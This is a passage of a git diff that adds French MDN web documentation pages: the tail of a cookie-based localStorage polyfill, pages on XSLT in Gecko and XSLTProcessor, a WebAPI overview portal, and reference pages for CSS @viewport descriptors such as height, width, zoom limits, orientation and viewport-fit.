+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+
+ +
Note : La taille maximale des données est limitée par les capacités des cookies. Avec cet algorithme, utilisez les fonctions localStorage.getItem(), localStorage.setItem(), et localStorage.removeItem() pour récupérer, ajouter, modifier ou supprimer une clé. L’utilsation de la méthode localStorage.yourKey pour récupérer, définir, ou supprimer une clé n’est pas possible avec ce code. Vous pouvez également changer son nom et l’utiliser pour gérer les cookies indépendamment de l’objet localStorage.
+ +
Note : En remplaçant la chaîne "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" par "; path=/" (et en changeant le nom de l’objet), cela deviendra un polyfill pour sessionStorage plutôt que pour localStorage. Cependant, cette implémentation partagera les valeurs stockées au travers des onglets et fenêtres du navigateur (et seront supprimée uniquement quand toutes les fenêtres du navigateur seront fermées), alors qu’une implémentation pleinement compatible avec sessionStorage restreint les valeurs sauvegardées au {{ Glossary("Browsing_context", "contexte de navigation") }} actuel uniquement.
+ +

Compatibilité et relation avec globalStorage

+ +

localStorage est équivalent à globalStorage[location.hostname], à la différence qu’il est rattaché à une {{ Glossary("origine") }} HTML5, et que localStorage est une instance de Storage, contrairement à globalStorage[location.hostname] qui est une instance de StorageObsolete (qui est abordé ci-dessous). Par exemple, http://example.com ne sera pas capable d’accéder au même objet localStorage que https://example.com mais il pourront accéder au même élément globalStorage. localStorage est une interface standard alors que globalStorage n’est pas standard. Ainsi, vous ne devriez pas vous fier à cette dernière.

+ +

Veuillez noter que définir une propriété sur globalStorage[location.hostname] n’entraîne pas sa définition sur localStorage, et qu’étendre Storage.prototype n’affecte pas les objets globalStorage ; pour faire ainsi, c’est StorageObsolete.prototype qu’il faut étendre.

+ +

Format de stockage

+ +

Les clés et les valeurs de Storage sont stockées au format {{ DOMxRef("DOMString") }} UTF-16, qui utilise 2 octets par caractère.

diff --git a/files/fr/conflicting/web/api/xsltprocessor/index.html b/files/fr/conflicting/web/api/xsltprocessor/index.html new file mode 100644 index 0000000000..0b42bdbde9 --- /dev/null +++ b/files/fr/conflicting/web/api/xsltprocessor/index.html @@ -0,0 +1,44 @@ +--- +title: XSLT dans Gecko +slug: XSLT_dans_Gecko +tags: + - XSLT +translation_of: Web/API/XSLTProcessor +translation_of_original: XSLT_in_Gecko +--- +

 

+ +
    +
  1. Introduction
    2. +
  2. Exemple basique
    3. +
  3. Génération de HTML
    4. +
  4. Différences entre les navigateurs
    5. +
  5. Ressources
    6. +
+ +

 

+ +

Introduction

+ +

Une des tendances notables dans les standards du W3C a été l'effort de séparation du contenu et du style. Cela permet de réutiliser un même style pour de multiple contenus, mais également de simplifier le travail de maintenance et de permettre une modification rapide (en ne modifiant qu'un seul et unique fichier) de la charte graphique du contenu.

+ +

CSS (Cascade Style Sheets) a été l'un des premiers moyens proposés par le W3C. CSS est un moyen simple d'appliquer des règles de style à un document Web. Ces règles de style définissent de quelle façon le document (le contenu) doit s'afficher. Cependant, CSS a plusieurs limitations, telles l'absence de structures de programmation et l' impossibilité de créer des modèles de rendu complexes. CSS possède également un support limité des changements de position d'un élément.

+ +

Les transformations XSL (eXtensible Stylesheet Language) sont composées de deux parties : les éléments XSL, qui permettent la transformation d'un arbre XML en un arbre possédant un balisage différent, et XPath, un langage de sélection pour les arbres. XSLT traite un document XML (le contenu) et crée un nouveau document basé sur les règles contenues dans une feuille de style XSL. Ceci permet à XSLT d'ajouter, d'enlever, de réorganiser les éléments du document XML original et permet ainsi un contrôle plus fin de la structure du document résultant.

+ +

Les transformations XSLT sont basées sur des règles qui sont constituées de modèles. Chaque modèle détermine à quels fragments du document XML d'entrée il applique (à l'aide de XPath) les règles de substitution qu'il contient pour créer le nouveau document en sortie.

+ +

{{Next("XSLT dans Gecko:Exemple basique")}}

+ +
+

Informations sur le document original

+ + +
+ +

Interwiki Languages Links

diff --git a/files/fr/conflicting/web/api/xsltprocessor_197eea6e529b0a946d29ce7cc292e7ef/index.html b/files/fr/conflicting/web/api/xsltprocessor_197eea6e529b0a946d29ce7cc292e7ef/index.html new file mode 100644 index 0000000000..940157af5f --- /dev/null +++ b/files/fr/conflicting/web/api/xsltprocessor_197eea6e529b0a946d29ce7cc292e7ef/index.html @@ -0,0 +1,15 @@ +--- +title: XSLTProcessor +slug: XSLTProcessor +translation_of: Web/API/XSLTProcessor +translation_of_original: XSLTProcessor +--- +

+

XSLTProcesor est un objet fournissant une interface avec le moteur XSLT de Mozilla. Il est utilisable par du code JavaScript sans privilèges. +

+ +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLTProcessor" } ) }} diff --git a/files/fr/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html b/files/fr/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html new file mode 100644 index 0000000000..17459c2dfd --- /dev/null +++ b/files/fr/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html @@ -0,0 +1,124 @@ +--- +title: WebAPI +slug: WebAPI +tags: + - Portail +translation_of: Web/API +translation_of_original: WebAPI +--- +

Le terme WebAPI permet de regrouper différentes API permettant d'accéder aux composants ou aux caractéristiques des appareil (comme la batterie, les vibrations...). Elles permettent aussi d'accéder aux informations enregistrées sur l'appareil (liste de contacts, agenda...). En créant ces API, nous espérons offrir de nouvelles possibilités au Web, jusqu'a présent réservées aux plates-formes propriétaires.

+ +
+

Note : La documentation semble légère sur le sujet : il n'en est rien. Beaucoup de documents ont été écrits et des liens sont en train d'être ajoutés. Nous travaillons beaucoup à améliorer cela, de nombreux articles apparaîtront très prochainement. Vous pouvez consulter la page de l'état de documentation sur WebAPI qui récapitule le travail fait sur la documentation WebAPI.

+
+ +
+

Note : Pour obtenir des explications rapides sur chaque badge, consultez la documentation sur les applications .

+
+ +
+
+

Les API de Communication

+ +
+
Bluetooth
+
L'API WebBluetooth permet d'accéder, à un bas niveau, aux fonctionnalités Bluetooth de l'appareil.
+
Mobile Connection API {{NonStandardBadge}}
+
Cette API permet de connaître les informations concernant la connexion : force du signal, informations sur l'opérateur ...
+
Network Information API
+
Cette API fournit des informations de bases sur la connexion réseau utilisée (la vitesse de connexion entre autres).
+
Network Stats API {{NonStandardBadge}}
+
Cette API enregistres des données sur l'utilisation des données réseaux et fournit cette information aux applications disposant des privilèges nécessaires.
+
Telephony {{NonStandardBadge}}
+
Cette API permet aux applications d'interagir avec les appels téléphoniques en utilisant l'interface utilisateur.
+
WebSMS {{NonStandardBadge}}
+
Cette API permet aux applications d'envoyer/recevoir des SMS et d'accéder aux messages enregistrés dans l'appareil.
+
WiFi Information API {{NonStandardBadge}}
+
Cette API est un API avec privilèges permettant de fournir des informations liées au WiFi : réseau utilisé, force du signal, réseaux disponibles...
+
+ +

Les API Matériel

+ +
+
Ambient Light Sensor API
+
Cette API fournit un accès au capteur de lumière environnante. Cela permet à l'application de connaître la luminosité présente autour de l'appareil.
+
Battery Status API
+
Cette API fournit des informations sur la batterie (niveau de la charge, savoir si l'appareil est en cours de charge...).
+
Camera API {{NonStandardBadge}}
+
Cette API permet aux applications de prendre des photos et/ou d'enregistrer des vidéos en utilisant l'appareil photo et/ou la caméra.
+
Geolocation API
+
Cette API fournit des informations sur la position géographique de l'appareil.
+
Pointer Lock API
+
Cette API permet aux applications de verrouiller l'accès du pointeur (de la souris) et d'accéder aux déplacements (relatifs) et non aux coordonnées absolues. Cela est particulièrement utile pour les jeux.
+
Power Management API {{NonStandardBadge}}
+
Cette API permet aux application d'allumer ou d'éteindre l'écran, le processeur, de connaître la puissance de l'appareil, le processeur... Elle permet aussi de surveiller (écoute et inspection) les événements de verrouillage des ressources (resources lock).
+
Proximity API
+
Cette API permet aux applications de détecter si quelque chose est à proximité de l'appareil (par exemple le visage de l'utilisateur).
+
Device Orientation API
+
Cette API permet d'envoyer des notifications lorsque l'appareil change d'orientation.
+
Screen Orientation API
+
Cette API permet d'envoyer des notifications lorsque l'écran change d'orientation. Il est aussi possible d'utiliser cette API pour permettre à l'API d'indiquer l'orientation à utiliser par l'application.
+
Vibration API
+
Cette API permet aux applications de contrôler les vibrations de l'appareil. Cela peut permettre de faire vibrer l'appareil pendant un jeu par exemple. Cette API n'est pas conçue pour provoquer des vibrations de notifications (dans ce cas il faut utiliser l'API Alarm).
+
Voir tout...
+
+
+ +
+

Les API de gestion des données

+ +
+
FileHandle API
+
Cette API permet d'interagir avec les fichiers en écriture tout en gérant les options de verrouillages.
+
IndexedDB
+
Permet de stocker des informations côté client et fournit un support pour effectuer des recherches de manière performante. Ces documents doivent être déplacés.
+
Settings API {{NonStandardBadge}}
+
Cette API permet aux applications de connaître et de modifier les options liées à la configuration du système, enregistrées de manière permanente dans l'appareil.
+
+ +

Les autres API

+ +
+
Alarm API
+
Cette API permet aux applications de planifier des notifications. Elle offre également  la possibilité de lancer une application de manière automatique à un moment donné.
+
Apps API {{NonStandardBadge}}
+
Cette API d'applications web offre la possibilité de gérer et d'installer des applications web. Cette API permet aussi aux applications de définir les informations liées au paiement.
+
Browser API {{NonStandardBadge}}
+
Cette API offre la possibilité de construire un navigateur web en n'utilisant que des technologies Web (et donc un navigateur dans un navigateur).
+
+ +
+
Idle API
+
Cette API permet aux applications de recevoir des notifications, notamment lorsque l'utilisateur n'est pas en train d'utiliser l'appareil.
+
Permissions API {{NonStandardBadge}}
+
Cette API permet de gérer les autorisations des applications au sein d'un même endroit. Elle est utilisée par l'application Réglages.
+
Simple Push API
+
Cette API permet à la plate-forme d'envoyer des messages de notifications à certaines applications en particulier.
+
Time/Clock API {{NonStandardBadge}}
+
Cette API offre la possibilité de régler l'heure. Le fuseau horaire est lui réglé avec l' API Settings.
+
Web Activities {{NonStandardBadge}}
+
Cette API permet à une application de déléguer une activité à une autre application. Un application peut, par exemple, demander à une autre application de sélectionner (ou de créer) une photo et de la renvoyer à la première application. C'est généralement l'utilisateur qui sera capable de configurer la façon dont les applications seront choisies.
+
+ +

La communauté WebAPI

+ +

Si vous souhaitez avoir de l'aide concernant ces API, il y a plusieurs moyens d'échanger avec les autres développeurs.

+ +
    +
  • Le forum WebAPI : {{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}
    • +
  • Le canal IRC WebAPI : #webapi
    • +
+ +

N'oubliez pas la netiquette...

+ + + +
    +
  • Le Document Object Model (DOM), représentant la structure du document HTML comme un arbre
    • +
  • JavaScript - Langage de script largement utilisé sur le Web.
    • +
  • Doc status: Une liste de sujets en lien avec WebAPI ainsi que l'état de leur documentation
    • +
+
+
+ +

 

diff --git a/files/fr/conflicting/web/css/@viewport/index.html b/files/fr/conflicting/web/css/@viewport/index.html new file mode 100644 index 0000000000..bd7b0871c9 --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport/index.html @@ -0,0 +1,77 @@ +--- +title: height +slug: Web/CSS/@viewport/height +tags: + - '@viewport' + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/height +--- +
{{CSSRef}}
+ +

Le descripteur height, rattaché à la règle @ {{cssxref("@viewport")}} est un raccourci permettant de définir les deux descripteurs {{cssxref("@viewport/min-height", "min-height")}} et {{cssxref("@viewport/max-height", "max-height")}}.

+ +

Si on fournit une seule valeur, c'est cette valeur qui sera utilisée pour la hauteur minimale et maximale de la zone d'affichage (viewport). Si on fournit deux valeurs, la première correspondra à la hauteur minimale de la zone d'affichage et la deuxième à la hauteur maximale.

+ +

Syntaxe

+ +
/* Une valeur de longueur        */
+/* Type <length> ou <percentage> */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* Deux valeurs de longueur */
+height: 320px 200px;
+
+ +

Valeurs

+ +
+
auto
+
La valeur utilisée sera calculée à partir des valeurs des autres descripteurs.
+
<length>
+
Une longueur relative ou absolue qui doit être positive.
+
<percentage>
+
Une valeur exprimée en pourcentages qui est relative à la hauteur de la zone d'affichage (viewport) lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+
+ +

Exemples

+ +
@viewport {
+  height: 500px;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.height")}}

diff --git a/files/fr/conflicting/web/css/@viewport_3ecbd2877baedebcfaffc13eaa7d61ce/index.html b/files/fr/conflicting/web/css/@viewport_3ecbd2877baedebcfaffc13eaa7d61ce/index.html new file mode 100644 index 0000000000..45f9b90ef5 --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_3ecbd2877baedebcfaffc13eaa7d61ce/index.html @@ -0,0 +1,69 @@ +--- +title: user-zoom +slug: Web/CSS/@viewport/user-zoom +tags: + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/user-zoom +--- +
{{CSSRef}}
+ +

Le descripteur user-zoom, utilisé dans la règle @ {{cssxref("@viewport")}}, définit si l'utilisateur doit pouvoir modifier le niveau de zoom d'un document dans la zone d'affichage (viewport).

+ +
/* Valeurs avec un mot-clé */
+user-zoom: zoom;
+user-zoom: fixed;
+
+ +

Syntaxe

+ +

Valeurs

+ +
+
zoom
+
L'utilisateur peut zoomer/dézoomer.
+
fixed
+
L'utilisateur ne peut ni zoomer ni dézoomer.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Accessibilité

+ +

Supprimer la possibilité de zoomer empêche les personnes ayant une vision faible de lire et de comprendre le contenu de la page.

+ + + +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#the-lsquouser-zoomrsquo-descriptor', '"user-zoom" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.user-zoom")}}

diff --git a/files/fr/conflicting/web/css/@viewport_516ab4b0283b5b2231fb657505e22440/index.html b/files/fr/conflicting/web/css/@viewport_516ab4b0283b5b2231fb657505e22440/index.html new file mode 100644 index 0000000000..fd3499f24c --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_516ab4b0283b5b2231fb657505e22440/index.html @@ -0,0 +1,77 @@ +--- +title: max-height +slug: Web/CSS/@viewport/max-height +tags: + - '@viewport' + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/max-height +--- +
{{CSSRef}}
+ +

Le descripteur max-height, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la hauteur maximale de la zone d'affichage (viewport) d'un document.

+ +

Syntaxe

+ +
/* Avec un mot-clé */
+max-height: auto;
+
+/* Valeur de longueur */
+/* Type <length>      */
+max-height: 400px;
+max-height: 50em;
+max-height: 20cm;
+
+/* Valeur proportionnelle */
+/* Type <percentage>      */
+max-height: 75%;
+ +

Valeurs

+ +
+
auto
+
La valeur utilisée est alors calculée selon les valeurs des autres descripteurs.
+
<length>
+
Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.
+
<percentage>
+
Une valeur de pourcentage relative à la hauteur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +
@viewport {
+  max-height: 600px;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-max-height', '"max-height" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.max-height")}}

diff --git a/files/fr/conflicting/web/css/@viewport_6e9c91ec34cdb0393d301240d0d50d84/index.html b/files/fr/conflicting/web/css/@viewport_6e9c91ec34cdb0393d301240d0d50d84/index.html new file mode 100644 index 0000000000..295e87ce7a --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_6e9c91ec34cdb0393d301240d0d50d84/index.html @@ -0,0 +1,70 @@ +--- +title: min-zoom +slug: Web/CSS/@viewport/min-zoom +tags: + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/min-zoom +--- +
{{CSSRef}}
+ +

Le descripteur min-zoom, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom minimal en-dessous duquel le navigateur ne réduira pas le niveau de zoom (que ce soit une action automatique ou une action de l'utilisateur).

+ +

Un facteur de zoom égal à 1.0 ou à 100% correspond à l'absence de zoom. Si on utilise des valeurs supérieures, cela correspondra à un niveau de zoom plus élevé. À l'inverse des valeurs inférieures traduiront un « dézoom ».

+ +

Syntaxe

+ +
/* Valeur avec un mot-clé */
+min-zoom: auto;
+
+/* Nombres : type <number> */
+min-zoom: 0.8;
+min-zoom: 2.0;
+
+/* Valeurs proportionnelles : type <percentage> */
+min-zoom: 150%;
+
+ +

Valeurs

+ +
+
auto
+
L'agent utilisateur détermine la limite du niveau de zoom applicable pour le document.
+
<number>
+
Un nombre positif qui correspond à la limite basse du niveau de zoom (cf. {{cssxref("<number>")}}).
+
<percentage>
+
Un pourcentage positif qui correspond à la limite basse du niveau de zoom (cf. {{cssxref("<percentage>")}}).
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#min-zoom-desc', '"min-zoom" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.min-zoom")}}

diff --git a/files/fr/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html b/files/fr/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html new file mode 100644 index 0000000000..42e89f24e5 --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html @@ -0,0 +1,65 @@ +--- +title: orientation +slug: Web/CSS/@viewport/orientation +tags: + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/orientation +--- +
{{CSSRef}}
+ +

Le descripteur orientation, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir l'orientation d'un document.

+ +
/* Valeurs avec un mot-clé */
+orientation: auto;
+orientation: portrait;
+orientation: landscape;
+
+ +

Pour les agents utilisateurs et/ou les appareils pour lesquels l'orientation est modifiée en orientant l'appareil, l'auteur pourra utiliser ce descripteur afin d'inhiber le changement d'orientation lié à la stimulation physique.

+ +

Syntaxe

+ +

Valeurs

+ +
+
auto
+
L'agent utilisateur déterminera l'orientation du document automatiquement. Généralement, il utilisera l'accéléromètre de l'appareil (si ce dernier en possède un) si le résultat de cette mesure n'est pas modifié par un réglage utilisateur (« bloquer la rotation de l'écran »).
+
portrait
+
Le document devrait être verrouillé en mode portrait.
+
landscape
+
Le document devrait être verrouillé en mode paysage.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#the-lsquoorientationrsquo-descriptor', '"orientation" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.orientation")}}

diff --git a/files/fr/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html b/files/fr/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html new file mode 100644 index 0000000000..5532ed2191 --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html @@ -0,0 +1,75 @@ +--- +title: viewport-fit +slug: Web/CSS/@viewport/viewport-fit +tags: + - '@viewport' + - CSS + - Descripteur + - Experimental + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/viewport-fit +--- +
{{CSSRef}}{{Draft}}{{SeeCompatTable}}
+ +

Le descripteur viewport-fit, associé à la règle @ {{CSSxRef("@viewport")}} contrôle la façon dont la zone d'affichage (viewport) d'un document recouvre l'écran.

+ +

Syntaxe

+ +
/* Valeurs avec un mot-clé */
+viewport-fit: auto;
+viewport-fit: contain;
+viewport-fit: cover;
+
+ +

Valeurs

+ +
+
auto
+
Cette valeur n'a aucun impact sur la disposition initiale de la zone d'affichage et l'ensemble de la page web est visible.
+
contain
+
La zone d'affichage est redimensionnée afin de s'inscrire dans le plus grand rectangle qu'il est possible de faire tenir sur l'écran.
+
cover
+
La zone d'affichage est redimensionnée afin de couvrir l'écran de l'appareil. Il est fortement recommandé d'utiliser des variables pour le placement en zone sûre afin de s'assurer qu'aucun contenu important ne se retrouve en dehors de l'écran.
+
+ +

Syntaxe formelle

+ +
auto | contain | cover
+ +

Accessibilité

+ +

When using the viewport-fit descriptor, one must keep in mind that not all device displays are rectangular, and should therefore make use of the safe area inset variables.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}{{Spec2("CSS Round Display")}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.viewport-fit")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/css/@viewport_a47f799d4189f98a73bc55899628d6d7/index.html b/files/fr/conflicting/web/css/@viewport_a47f799d4189f98a73bc55899628d6d7/index.html new file mode 100644 index 0000000000..83a55c3c66 --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_a47f799d4189f98a73bc55899628d6d7/index.html @@ -0,0 +1,77 @@ +--- +title: min-height +slug: Web/CSS/@viewport/min-height +tags: + - '@viewport' + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/min-height +--- +
{{CSSRef}}
+ +

Le descripteur min-height, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la hauteur minimale de la zone d'affichage (viewport) d'un document.

+ +

Syntaxe

+ +
/* Avec un mot-clé */
+min-height: auto;
+
+/* Valeur de longueur */
+/* Type <length>      */
+min-height: 400px;
+min-height: 50em;
+min-height: 20cm;
+
+/* Valeur proportionnelle */
+/* Type <percentage>      */
+min-height: 75%;
+ +

Valeurs

+ +
+
auto
+
La valeur utilisée est alors calculée selon les valeurs des autres descripteurs.
+
<length>
+
Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.
+
<percentage>
+
Une valeur de pourcentage relative à la hauteur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +
@viewport {
+  min-height: 600px;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-min-height', '"min-height" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.min-height")}}

diff --git a/files/fr/conflicting/web/css/@viewport_c5f2dc316e069e8c32ab24f9117600a7/index.html b/files/fr/conflicting/web/css/@viewport_c5f2dc316e069e8c32ab24f9117600a7/index.html new file mode 100644 index 0000000000..aa345f6c1e --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_c5f2dc316e069e8c32ab24f9117600a7/index.html @@ -0,0 +1,76 @@ +--- +title: min-width +slug: Web/CSS/@viewport/min-width +tags: + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/min-width +--- +
{{CSSRef}}
+ +

Le descripteur min-width, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la largeur minimale de la zone d'affichage (viewport) d'un document.

+ +

Syntaxe

+ +
/* Avec un mot-clé */
+min-width: auto;
+
+/* Valeur de longueur */
+/* Type <length>      */
+min-width: 400px;
+min-width: 50em;
+min-width: 20cm;
+
+/* Valeur proportionnelle */
+/* Type <percentage>      */
+min-width: 75%;
+ +

Valeurs

+ +
+
auto
+
La valeur utilisée est alors calculée selon les valeurs des autres descripteurs.
+
<length>
+
Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.
+
<percentage>
+
Une valeur de pourcentage relative à la largeur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +
@viewport {
+  min-width: 600px;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-min-width', '"min-width" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.min-width")}}

diff --git a/files/fr/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html b/files/fr/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html new file mode 100644 index 0000000000..26e657d76a --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html @@ -0,0 +1,76 @@ +--- +title: width +slug: Web/CSS/@viewport/width +tags: + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/width +--- +
{{CSSRef}}
+ +

Le descripteur width, rattaché à la règle @ {{cssxref("@viewport")}} est un raccourci permettant de définir les deux descripteurs {{cssxref("@viewport/min-width", "min-width")}} et {{cssxref("@viewport/max-width", "max-width")}}.

+ +

Si on fournit une seule valeur, c'est cette valeur qui sera utilisée pour la largeur minimale et maximale de la zone d'affichage (viewport). Si on fournit deux valeurs, la première correspondra à la largeur minimale de la zone d'affichage et la deuxième à la largeur maximale.

+ +

Syntaxe

+ +
/* Une valeur de longueur        */
+/* Type <length> ou <percentage> */
+width: auto;
+width: 320px;
+width: 15em;
+
+/* Deux valeurs de longueur */
+width: 320px 200px;
+
+ +

Valeurs

+ +
+
auto
+
La valeur utilisée sera calculée à partir des valeurs des autres descripteurs.
+
<length>
+
Une longueur relative ou absolue qui doit être positive.
+
<percentage>
+
Une valeur exprimée en pourcentages qui est relative à la largeur de la zone d'affichage (viewport) lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+
+ +

Exemples

+ +
@viewport {
+  width: 500px;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-width', '"width" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.width")}}

diff --git a/files/fr/conflicting/web/css/@viewport_d03ebc763769680c55d1a4258592d3ed/index.html b/files/fr/conflicting/web/css/@viewport_d03ebc763769680c55d1a4258592d3ed/index.html new file mode 100644 index 0000000000..a5021d48f3 --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_d03ebc763769680c55d1a4258592d3ed/index.html @@ -0,0 +1,70 @@ +--- +title: max-zoom +slug: Web/CSS/@viewport/max-zoom +tags: + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/max-zoom +--- +
{{CSSRef}}
+ +

Le descripteur max-zoom, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom maximal au-delà duquel le navigateur n'augmentera pas le niveau de zoom (que ce soit une action automatique ou une action de l'utilisateur).

+ +

Un facteur de zoom égal à 1.0 ou à 100% correspond à l'absence de zoom. Si on utilise des valeurs supérieures, cela correspondra à un niveau de zoom plus élevé. À l'inverse des valeurs inférieures traduiront un « dézoom ».

+ +

Syntaxe

+ +
/* Valeur avec un mot-clé */
+max-zoom: auto;
+
+/* Nombres : type <number> */
+max-zoom: 0.8;
+max-zoom: 2.0;
+
+/* Valeurs proportionnelles : type <percentage> */
+max-zoom: 150%;
+
+ +

Valeurs

+ +
+
auto
+
L'agent utilisateur détermine la limite du niveau de zoom applicable pour le document.
+
<number>
+
Un nombre positif qui correspond à la limite haute du niveau de zoom (cf. {{cssxref("<number>")}}).
+
<percentage>
+
Un pourcentage positif qui correspond à la limite haute du niveau de zoom (cf. {{cssxref("<percentage>")}}).
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#max-zoom-desc', '"max-zoom" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.max-zoom")}}

